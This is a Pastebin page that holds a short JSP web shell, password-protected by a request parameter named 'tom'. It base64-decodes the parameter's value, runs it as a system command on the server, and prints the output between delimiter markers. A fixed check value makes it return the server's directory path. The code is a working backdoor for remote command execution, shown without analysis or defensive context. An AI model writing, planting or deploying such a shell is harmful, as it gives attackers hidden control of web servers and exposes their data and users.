Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <%@page import="java.io.*" %>
- <%@page import="sun.misc.BASE64Decoder" %>
- <%
- try {
- String pass = "tom";
- if (request.getParameterValues(pass) != null) {
- String cmd = request.getParameter(pass);
- String path = application.getRealPath(request.getRequestURI());
- String dir = new File(path).getParent();
- if (cmd.equals("Szh0ZWFt")) {
- out.print("[S]" + dir + "[E]");
- return;
- }
- byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);
- String binastr = new String(binary);
- Process child = Runtime.getRuntime().exec(binastr);
- InputStream in = child.getInputStream();
- out.print("->|");
- int c;
- while ((c = in.read()) != -1) {
- out.print((char) c);
- }
- in.close();
- out.print("|<-");
- try {
- child.waitFor();
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
- }
- } catch (IOException e) {
- System.err.println(e);
- }
- %><a href="CMD_OK"></a>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement